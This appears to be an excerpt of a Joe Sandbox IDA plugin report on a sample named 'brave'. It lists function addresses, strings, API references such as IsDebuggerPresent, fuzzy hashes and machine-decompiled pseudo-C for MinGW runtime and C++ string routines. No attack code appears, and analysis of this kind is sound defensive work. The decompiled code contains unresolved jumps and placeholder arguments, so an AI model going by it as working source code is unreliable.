Mingw-w64 runtime failure:, xrefs: 00007FF69F80E688
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF69F80E801
VirtualProtect failed with code 0x%x, xrefs: 00007FF69F80E7DE
Address %p has no image-section, xrefs: 00007FF69F80E6C0, 00007FF69F80E815

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction ID: 21784eed7b40e1ce9761b9b44f3690cd6a767944577d65f613d44083ddae0a25
Opcode Fuzzy Hash: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction Fuzzy Hash: B951DD32B0AA46C1EB609F11E8416EA77A0FF95B94F8A41B5EE0C87794EF3CE045C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81CD30 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 122COMMON

Download Yara Rule

Strings

%*.*s, xrefs: 00007FF69F81CE75
%-*.*s, xrefs: 00007FF69F81CEC6
%.*s, xrefs: 00007FF69F81CEB8

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction ID: b481c6c58c30a689d0e6275873bf1bdccffb5e4c4dc008beb03269111b2a2b62
Opcode Fuzzy Hash: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction Fuzzy Hash: 555187B2F1825286E7B08F25C2887B977B1EB45B94F568371CA1CDB784CF2DE8019B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F81C900 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00007FF67FF69F81C900(void* __edx, void* __rax, void* __rcx, void* __r8) {
				signed int _v72;
				char _v80;
				intOrPtr _t19;
				intOrPtr _t28;
				void* _t40;
				void* _t48;
				void* _t52;
				void* _t53;
				char* _t62;

				_t52 = __rax;
				_t19 =  *((intOrPtr*)(__r8 + 0x10));
				_t53 = __r8;
				if (_t19 < 0) goto 0x9f81c91f;
				_t40 =  >  ? _t19 : __edx;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0x9f81ca28;
				if (_t40 - r8d < 0) goto 0x9f81c9c0;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t40 > 0) goto 0x9f81c97b;
				goto 0x9f81ca0d;
				_t62 = __rcx + __rax;
				E00007FF67FF69F81C8A0(_v72 & 0xffff, __r8);
				if (_t40 == 0) goto 0x9f81ca0d;
				_v80 = 0;
				strlen(??);
				E00007FF67FF69F821940( &_v72, _t62, _t52,  &_v80);
				_t48 = _t52;
				if (_t48 == 0) goto 0x9f81ca0d;
				if (_t48 >= 0) goto 0x9f81c960;
				_v72 =  *_t62;
				goto 0x9f81c965;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t40 - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				if (0 != 0) goto 0x9f81c94a;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				E00007FF67FF69F81C8A0(0x20, _t53);
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if ( *((intOrPtr*)(_t53 + 0xc)) != 0) goto 0x9f81c9e0;
				goto 0x9f81c94a;
				E00007FF67FF69F81C8A0(0x20, _t53);
				_t28 =  *((intOrPtr*)(_t53 + 0xc));
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if (_t28 > 0) goto 0x9f81ca00;
				return _t28;
			}

0x7ff69f81c900
0x7ff69f81c90a
0x7ff69f81c913
0x7ff69f81c918
0x7ff69f81c91c
0x7ff69f81c922
0x7ff69f81c934
0x7ff69f81c93d
0x7ff69f81c943
0x7ff69f81c956
0x7ff69f81c958
0x7ff69f81c96b
0x7ff69f81c96e
0x7ff69f81c975
0x7ff69f81c97e
0x7ff69f81c989
0x7ff69f81c99a
0x7ff69f81c99f
0x7ff69f81c9a2
0x7ff69f81c9a4
0x7ff69f81c9af
0x7ff69f81c9b4
0x7ff69f81c9b6
0x7ff69f81c9c0
0x7ff69f81c9c3
0x7ff69f81c9ca
0x7ff69f81c9d0
0x7ff69f81c9d4
0x7ff69f81c9e8
0x7ff69f81c9f3
0x7ff69f81c9f8
0x7ff69f81c9fa
0x7ff69f81ca08
0x7ff69f81ca0d
0x7ff69f81ca13
0x7ff69f81ca18
0x7ff69f81ca24

Strings

%.*S, xrefs: 00007FF69F81CA68
%*.*S, xrefs: 00007FF69F81CA3D
%-*.*S, xrefs: 00007FF69F81CA76

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %*.*S$%-*.*S$%.*S
API String ID: 0-2115465065
Opcode ID: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction ID: 125a7ea8eb13c2d701129361b245fa9e876021a58b21d79edf7fb4325a050a80
Opcode Fuzzy Hash: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction Fuzzy Hash: AA41E463B1864246E7B08B25A5496F873A0EB86BD4F5983B0DE2CC77C5DE3DE4019B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F816EE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F816EE0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0x9f816f00;
				return _t1;
			}

0x7ff69f816eea
0x7ff69f816ef2
0x7ff69f816efb

APIs

GetLastError.KERNEL32 ref: 00007FF69F816EEA
FormatMessageA.KERNEL32 ref: 00007FF69F816F2B
IsDebuggerPresent.KERNEL32 ref: 00007FF69F816F35

Strings

aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa, xrefs: 00007FF69F816EE2

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID: aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAaaAAAAAAaAaAAaaaaaAaAaaaaaaaaa
API String ID: 2392558662-3033008764
Opcode ID: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction ID: cee83d6d90ccc1a948a3234a526c6ae0597d52ce4ff822f2e58e5ea601857068
Opcode Fuzzy Hash: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction Fuzzy Hash: 16018161B18A46C1EBB08B25F85833A33B4FF88B88F5501B4DA9DC6A64EF3CD480D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8245C0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 215stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF69F8245E9
memcmp.MSVCRT ref: 00007FF69F824608
memcmp.MSVCRT ref: 00007FF69F824696
memcmp.MSVCRT ref: 00007FF69F824718

Part of subcall function 00007FF69F831250: strlen.MSVCRT ref: 00007FF69F83126E

memcmp.MSVCRT ref: 00007FF69F8247C4

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F824649, 00007FF69F8246D3, 00007FF69F824755, 00007FF69F824801, 00007FF69F82481A
basic_string::compare, xrefs: 00007FF69F824642, 00007FF69F8246CC, 00007FF69F82474E, 00007FF69F8247FA, 00007FF69F824813

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction ID: 4822eaf9c5d18d7b747fb5a4dce0a021d56a33637ed29d42a87d927da0d14c99
Opcode Fuzzy Hash: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction Fuzzy Hash: F2512D52F0898685FE619B26DE002E853A1EF05FE0F6D4671DE2CD77DAED1DE9829300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F825670 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF69F825699
memcmp.MSVCRT ref: 00007FF69F8256BA
memcmp.MSVCRT ref: 00007FF69F825746
memcmp.MSVCRT ref: 00007FF69F8257C5

Part of subcall function 00007FF69F831250: strlen.MSVCRT ref: 00007FF69F83126E

memcmp.MSVCRT ref: 00007FF69F825861

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F8256FB, 00007FF69F825783, 00007FF69F825802, 00007FF69F82589E, 00007FF69F8258B7
basic_string::compare, xrefs: 00007FF69F8256F4, 00007FF69F82577C, 00007FF69F8257FB, 00007FF69F825897, 00007FF69F8258B0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction ID: 076029ed6708c46024d31229c6577200c4e422f0e95c4bd4d4339439b56b5912
Opcode Fuzzy Hash: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction Fuzzy Hash: 9E51E552F4598685FE609B26EE002E453A0EF04BE0F5D4671EE2CDB7E9DD5DE9839300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82D020 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F82D020(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x9f82d046;
				if (_t18 == 0) goto 0x9f82d0b2;
				if (_t17 - 0xf > 0) goto 0x9f82d080;
				if (_t17 != 1) goto 0x9f82d070;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff69f82d028
0x7ff69f82d02f
0x7ff69f82d033
0x7ff69f82d036
0x7ff69f82d03f
0x7ff69f82d044
0x7ff69f82d04a
0x7ff69f82d050
0x7ff69f82d052
0x7ff69f82d057
0x7ff69f82d05a
0x7ff69f82d05e
0x7ff69f82d06a

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82D195, 00007FF69F82D1EF, 00007FF69F82D23F
basic_string::basic_string, xrefs: 00007FF69F82D18E, 00007FF69F82D1E8
basic_string::_M_construct null not valid, xrefs: 00007FF69F82D0B2
string::string, xrefs: 00007FF69F82D238
basic_string::_M_create, xrefs: 00007FF69F82D0BE, 00007FF69F82D152

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction ID: f7250f734e7323bb3e2ae80f08cf7b73d6e1f5eda866a773d2bb5ed2d75cc380
Opcode Fuzzy Hash: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction Fuzzy Hash: 1551F473E09B4684EBA09B21D8401E867B4FB18FD4B954672CA2C93395DE3DF553E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82D5D0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F82D5D0(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0x9f82d5f6;
				if (_t18 == 0) goto 0x9f82d662;
				if (_t17 - 0xf > 0) goto 0x9f82d630;
				if (_t17 != 1) goto 0x9f82d620;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff69f82d5d8
0x7ff69f82d5df
0x7ff69f82d5e3
0x7ff69f82d5e6
0x7ff69f82d5ef
0x7ff69f82d5f4
0x7ff69f82d5fa
0x7ff69f82d600
0x7ff69f82d602
0x7ff69f82d607
0x7ff69f82d60a
0x7ff69f82d60e
0x7ff69f82d61a

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82D745, 00007FF69F82D79F, 00007FF69F82D7EF
basic_string::basic_string, xrefs: 00007FF69F82D73E, 00007FF69F82D798
basic_string::_M_construct null not valid, xrefs: 00007FF69F82D662
string::string, xrefs: 00007FF69F82D7E8
basic_string::_M_create, xrefs: 00007FF69F82D66E, 00007FF69F82D702

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction ID: a40da89ca271f40c3aa3ced7cfbd5c99c656da40cb66c04d26373fc3983777b1
Opcode Fuzzy Hash: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction Fuzzy Hash: 9E51E373E0AB4684EBA09B15D8400E867B4FB18FD4B954672CA6C87395EE3DE553E340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F815560 Relevance: 10.6, APIs: 7, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF69F815560(void* __ecx, void* __rax, long long __rcx, void* __rdx, void* __r12, void* __r13) {
				int _t39;
				int _t42;
				void* _t81;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t88;
				intOrPtr _t91;
				intOrPtr _t93;
				long _t95;
				intOrPtr* _t97;
				intOrPtr* _t98;
				long long _t120;

				_t81 = __rax;
				_t120 = __rcx;
				E00007FF67FF69F812D40(__ecx, __rdx);
				 *((long long*)(_t81 + 8)) = _t120;
				if ( *((intOrPtr*)(_t81 + 0x1d8)) == 0) goto 0x9f815589;
				E00007FF67FF69F813280(_t81,  *((intOrPtr*)(_t81 + 0x1d8)));
				if (( *(_t81 + 0x40) & 0x00000030) == 0) goto 0x9f815628;
				_t97 =  *0x9fab6920; // 0x7ff69fac1400
				_t82 =  *_t97;
				if (_t82 == 0) goto 0x9f815609;
				if ( *((long long*)(_t82 + 0x30)) != 0) goto 0x9f815622;
				 *((long long*)( *_t97 + 0x30)) = 0x9fab2bd8;
				TlsGetValue(_t95);
				if (0x9fab2bd8 == 0) goto 0x9f815600;
				if ( *0x7FF69FAB2C00 == 0) goto 0x9f81563a;
				 *0x7FF69FAB2C94 = 1;
				r13d =  *0x7FF69FAB2BE0;
				if ( *((intOrPtr*)(0x7ff69fab2c08)) == 0) goto 0x9f8155eb;
				CloseHandle(__r12);
				 *((long long*)(0x7ff69fab2c08)) = 0;
				if (( *0x7FF69FAB2C1C & 0x00000004) != 0) goto 0x9f81568d;
				__imp___endthreadex();
				E00007FF67FF69F817060();
				if ( *((long long*)(0x7ff69fab2c08)) == 0) goto 0x9f8155a9;
				_t84 =  *_t97;
				if (_t84 != 0) goto 0x9f815622;
				E00007FF67FF69F817060();
				goto 0x9f8155b7;
				_t18 = _t97 + 0xd0; // 0xd0
				__imp__longjmp();
				 *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x30)))) = 0xdeadbeef;
				if (_t18 == 0) goto 0x9f81564b;
				_t39 = CloseHandle(__r13);
				 *((long long*)(0x7ff69fab2c08)) = 0;
				r13d =  *((intOrPtr*)(0x7ff69fab2be0));
				E00007FF67FF69F812D20(_t39, 0x9fab2bd8);
				_t86 =  *_t97;
				if (_t86 == 0) goto 0x9f8156d6;
				if ( *((long long*)(_t86 + 0x30)) != 0) goto 0x9f8156c0;
				 *((long long*)(_t86 + 0x30)) = 0x9fab2bd8;
				TlsSetValue(??, ??);
				goto 0x9f815600;
				 *0x9fab2bd8 = 0xdeadbeef;
				_t42 = CloseHandle(??);
				 *((long long*)(0x7ff69fab2c00)) = 0;
				E00007FF67FF69F812D20(_t42, 0x9fab2bd8);
				_t88 =  *_t97;
				if (_t88 == 0) goto 0x9f8156f4;
				if ( *((long long*)(_t88 + 0x30)) == 0) goto 0x9f8156c6;
				goto 0x9f81567e;
				 *((long long*)( *_t97 + 0x30)) = 0x9fab2bd8;
				goto 0x9f81567e;
				E00007FF67FF69F817060();
				_t91 =  *_t97;
				if ( *((long long*)(0x7ff69fab2c08)) == 0) goto 0x9f815670;
				if (_t91 != 0) goto 0x9f8156c0;
				E00007FF67FF69F817060();
				goto 0x9f8156c0;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t91 + 0x30)) == 0) goto 0x9f8156c6;
				goto 0x9f8156e8;
				asm("o16 nop [cs:eax+eax]");
				_push(_t97);
				_t98 =  *0x9fab6920; // 0x7ff69fac1400
				_t93 =  *_t98;
				if (_t93 == 0) goto 0x9f815760;
				if ( *((long long*)(_t93 + 0x18)) != 0) goto 0x9f815780;
				 *((long long*)(_t93 + 0x18)) = 0x9fac13d0;
				if ( *0x9fac13d0 == 0) goto 0x9f815750;
				E00007FF67FF69F812D40( *0x9fac13d0, 0x9fac13d0);
				if (0x9fac13d0 == 0) goto 0x9f815750;
				if ( *0x7FF69FAC13F0 <= 0) goto 0x9f815790;
				return 0;
			}

0x7ff69f815560
0x7ff69f815569
0x7ff69f81556c
0x7ff69f815578
0x7ff69f815582
0x7ff69f815584
0x7ff69f81558d
0x7ff69f815593
0x7ff69f81559a
0x7ff69f8155a0
0x7ff69f8155a7
0x7ff69f8155b3
0x7ff69f8155b9
0x7ff69f8155c5
0x7ff69f8155d0
0x7ff69f8155d2
0x7ff69f8155dc
0x7ff69f8155e3
0x7ff69f8155e5
0x7ff69f8155eb
0x7ff69f8155fa
0x7ff69f815603
0x7ff69f815609
0x7ff69f815613
0x7ff69f815615
0x7ff69f81561b
0x7ff69f81561d
0x7ff69f815626
0x7ff69f815628
0x7ff69f815634
0x7ff69f81563a
0x7ff69f815643
0x7ff69f815645
0x7ff69f81564b
0x7ff69f815657
0x7ff69f81565c
0x7ff69f815661
0x7ff69f815667
0x7ff69f81566e
0x7ff69f815677
0x7ff69f815682
0x7ff69f815688
0x7ff69f815692
0x7ff69f81569a
0x7ff69f8156a3
0x7ff69f8156ac
0x7ff69f8156b1
0x7ff69f8156b7
0x7ff69f8156be
0x7ff69f8156c4
0x7ff69f8156d0
0x7ff69f8156d4
0x7ff69f8156d6
